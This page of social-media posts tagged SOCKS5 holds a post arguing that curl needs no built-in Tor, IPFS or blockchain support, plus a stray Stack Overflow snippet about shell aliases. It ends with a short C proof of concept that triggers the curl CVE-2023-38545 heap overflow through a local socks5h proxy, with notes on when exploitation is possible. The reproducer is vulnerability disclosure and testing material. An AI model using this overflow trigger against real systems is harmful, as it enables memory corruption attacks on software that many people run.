Search
Items tagged with: SOCKS5
Problem with that is (besides occasional bugfixes), most people including myself would see #curl to be functionally complete and anything "nice to have" would be considered not worth the balooning in #complexity and #size.
- I mean, does curl need to be able to do #BitTorrent (magnet:), #IPFS (ipfs://) or god forbid #blockchain (i.e. #EVM) support?
- Do you really want to integrate @torproject / #Tor support natively into curl when using #HTTP (localhost:8118) and #SOCKS5 (localhost:9050) #proxy allows for the same and doesn't necessitate having to handle and ingest Tor arguments as well??
In fact if #toybox didn't have a #wget implementation that I could use for OS/1337 I would've merely chosen tiny-curl -o
as a global alias or if #tinycurl wasn't an option, curl -o
instead.
- Maybe someone who wants to have said functionality like
tor
support built-in will go and IDK make i.e.#[url=https://infosec.space/tags/neocurl]neocurl[/url]
or sth. along those lines or build something like#[url=https://infosec.space/tags/ethcurl]ethcurl[/url]
or#[url=https://infosec.space/tags/tor]tor[/url]curl
or#[url=https://infosec.space/tags/ipfs]ipfs[/url]curl
or whatever...
That being said I am glad curl
isn't solely maintained by you but has other contributors (give them a shoutout!) but I also am glad you maintain that vital software that most "#TechIlliterate #Normies" most likely never heard of but propably use on a daily basis as part of all the #tech they use to #consume media with...
- I consider curl to be "the #vim of downloaders" (tho that's kinda insulting and limiting since
curl
is more than just a downloader and more intuitive thanvim
) with wget being "the #vi of downloaders" (thowget
is even simpler to use thanvi
)...
Either way, curl is awesome...
#OS1337 #Enshittification #Bloat #Bloatware
Set aliases globally for all users
I have certain paths, which are too long to type, so I need to wrap all those in one script as alias and source that script to my existing package code. These should set alias permanently over thatStack Overflow
Here’s a quick proof of concept to reproduce the #curl #CVE202338545 #heapoverflow #vulnerability. This PoC expects localhost to run a #socks5 proxy:
gcc -xc -fsanitize=address - -lcurl <<EOF
# include <curl/curl.h>
# include <string.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(curl) {
char url[32768];
memcpy(url, "https://", 8);
memset(url + 8, 'A', sizeof(url) - 8 - 1);
url[sizeof(url) - 1] = '\0';
curl_easy_setopt(curl, CURLOPT_URL, url);
(void)curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
return 0;
}
EOF
https_proxy=socks5h://127.0.0.1 ./a.out
Some comments:
• Application must use socks5h proxy to be vulnerable (it can be via proxy env variables or by explicitly settings the proxy options inside the app).
• Application must either fetch the attacker provided URL or follow redirects controlled by the attacker.
• Exploitation is made slightly more complicated due to this being a heap buffer overflow (many libc have built-in heap sanity checks). On modern systems with address space layout randomization (ASLR) an additional information leak is likely required for successful exploitation.
• Certain combinations of libcurl, platform and/or application options are not affected. See the advisory at curl.se/docs/CVE-2023-38545.ht… for more details.